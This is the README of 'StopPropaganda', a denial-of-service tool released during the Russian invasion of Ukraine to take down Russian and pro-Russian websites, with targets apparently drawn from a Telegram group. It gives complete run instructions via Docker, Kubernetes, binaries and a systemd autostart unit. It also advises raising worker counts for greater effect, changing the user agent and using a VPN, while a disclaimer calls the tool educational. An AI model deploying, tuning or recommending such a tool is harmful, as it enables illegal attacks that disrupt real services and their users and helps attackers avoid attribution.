StopPropaganda

Russia has invaded Ukraine and committed various war crimes. Russian media denies any of its attacks on civilian as well as denies any Russian troops casualties. According to them, they are doing this "special operation" to protect Ukrainians from...Ukraine.

Mykhailo Federov (Vice Prime Minister and Minister of Digital Transformation of Ukraine) has shared this twitter post encouraging cyber attack on certain targets via Telegram group. This will be primary source of the target websites for this application.

Some foreign media and even countries (e.g. Belarus) publicly support Russian aggression towards Ukraine, therefore I created this simple DOS application that targets certain websites/endpoints in order to take them down or significantly distrupt their services.

DISCLAIMER: (D)DOS'ing is illegal! Usage of this tool is intended for educational purposes only.

Usage

Docker

Easiest way is to use Docker:

docker run --name stoppropaganda -d --ulimit nofile=128000:128000 -p "8049:8049/tcp" erikmnkl/stoppropaganda

Update to latest version

docker kill stoppropaganda
docker rm stoppropaganda
docker pull erikmnkl/stoppropaganda

# run it again
docker run --name stoppropaganda -d --ulimit nofile=128000:128000 -p "8049:8049/tcp" erikmnkl/stoppropaganda

Use environment variables to change settings (for example --env SP_WORKERS=50) to change configuration. Available environment variables (and their defaults):

SP_BIND=":8049"
SP_WORKERS="20"
SP_TIMEOUT="10s"
SP_USERAGENT="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36"

You can also use docker-compose:

version: '3'
services:
  stoppropaganda:
    image: erikmnkl/stoppropaganda
    container_name: stoppropaganda
    restart: unless-stopped
    ports:
      - "8049:8049/tcp"
    environment:
      SP_BIND: ":8049"
      SP_WORKERS: "20"
      SP_TIMEOUT: "10s"
      SP_USERAGENT: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36"
    ulimits:
      nofile:
        soft: 128000
        hard: 128000

NOTE: SP_WORKERS means workers per website, not in total. For example, 5 websites * 20 workers = 100 workers in total.

Then you can see status in this URL: http://<ip>:8049/status

Kubernetes

You can also use kubectl:

kubectl create ns stoppropaganda
kubectl apply -f stoppropaganda.yaml

NOTE: edit stoppropaganda.yaml with required number of replicas

Binaries

Download binary from releases.

Use from terminal:

# (Linux only) Increase open files limit for current terminal session
ulimit -n 128000

# Show help
$ ./stoppropaganda_v0.0.1_linux_x86_64 --help

# Use with defaults
./stoppropaganda_v0.0.1_linux_x86_64

# Use with increased workers count (you might experience "too many open files" error on some systems)
./stoppropaganda_v0.0.1_linux_x86_64 --workers 50

Then open in your browser to see the status: http://127.0.0.1:8049/status

You might want to create SystemD script (Linux only) to autostart this on boot. Create /etc/systemd/system/stoppropaganda.service with below contents:

[Unit]
Description=Stoppropaganda service
After=network-online.target

[Service]
LimitAS=infinity
LimitRSS=infinity
LimitCORE=infinity
LimitNOFILE=128000
ExecStart=/path/to/binary --workers 50
Restart=always
RestartSec=3

[Install]
WantedBy=multi-user.target

Then systemctl daemon-reload && systemctl enable --now stoppropaganda.service. To stop, use systemctl stop stoppropaganda.service.

Building from source

Uninstall any existing Golang installations if you installed from official Linux repos. They are usually outdated and might not work at all.

Download and install Golang using these instructions. Validate if Golang binary works:

$ go version
go version go1.17.7 linux/amd64

Download this repo:

git clone https://github.com/erkexzcx/stoppropaganda.git
cd stoppropaganda

Now you have 2 options to run this application:

# (Linux only) Increase open files limit for current terminal session
ulimit -n 128000

# Run without compiling to binary
go run stoppropaganda.go --help

# Build binary and run it
go build -o stoppropaganda stoppropaganda.go
./stoppropaganda --help

You can also build for other architectures/platforms as well, see build.sh file.

Recommendations

• Increase workers count from 20 (default) to e.g. 100 for greater effect, but check the logs if you are not getting too many open files. If so, see this.
• Change useragent to yours. See this.
• General recommendation is to use VPN, but this is not necessary. Remember - DOS/DDOS is illegal.

Inspiration

This application was inspired by the following projects:

• https://www.reddit.com/r/hacking/comments/t1a8is/simple_html_dos_script_for_russian_sites/
• https://norussian.tk/
• https://stop-russian-desinformation.near.page/
• https://russianwarshipgofuckyourself.club/